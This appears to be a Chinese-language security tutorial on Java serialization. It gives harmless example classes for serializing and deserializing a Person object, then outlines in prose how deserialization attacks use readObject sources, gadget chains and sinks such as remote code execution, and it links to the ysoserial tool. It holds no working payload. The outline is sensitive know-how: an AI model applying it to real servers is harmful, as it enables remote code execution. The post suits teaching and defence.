我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。
① 想把内存中的对象保存到一个文件中或者数据库中时候;② 想用套接字在网络上传送对象的时候;③ 想通过RMI传输对象的时候
为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
几种常见的序列化和反序列化协议
XML&SOAP
JSON
Protobuf
理解
类比快递、打包和拆包
有些快递打包和拆包时有独特需求、比如易碎朝上,类比重写writeObject和readObject
实例
Java反序列化的操作,很多是需要开发者深入参与的,所以你会发现大量的库会实现readObject 、writeObject 方法,这和PHP中__wakeup 、__sleep 很少使用是存在鲜明对比的。我在《Java安全漫谈 - 06.RMI篇(3)》的最后一部分,讲到了classAnnotations ,这次再来说说objectAnnotation 。Java在序列化时一个对象,将会调用这个对象中的writeObject 方法,参数类型是ObjectOutputStream ,开发者可以将任何内容写入这个stream中;反序列化时,会调用readObject ,开发者也可以从中读取出前面
创建一个person类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){}
public Person(String name,int age){
this.name=name;
this.age=age;
}
@Override
public String toString() {
return "Person{"+
"name='" + name + "\'" +
",'age=" + age +
'}';
}
}
创建一个序列化类
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person=new Person("xinyuan",22);
serialize(person);
System.out.println(person);
}
}
创建一个反序列化类
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializationTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person=(Person) unserialize("ser.bin");
System.out.println(person);
}
}
可能的形式
1.入口类的readObject直接调用危险方法
在person类,重写readObject方法,序列化后,反序列化
2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数包含可控类,该类又调用其他有危险方法的类,readObject时调用
条件
共同条件 继承Serializable
入口类 source(重写readObject 参数类型宽泛 最好jdk自带) Map<Object ,Object>
调用链 gadget chain 相同名称,相同类型
执行类 sink(rce ssrf 写文件等等)
https://github.com/frohoff/ysoserial/
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

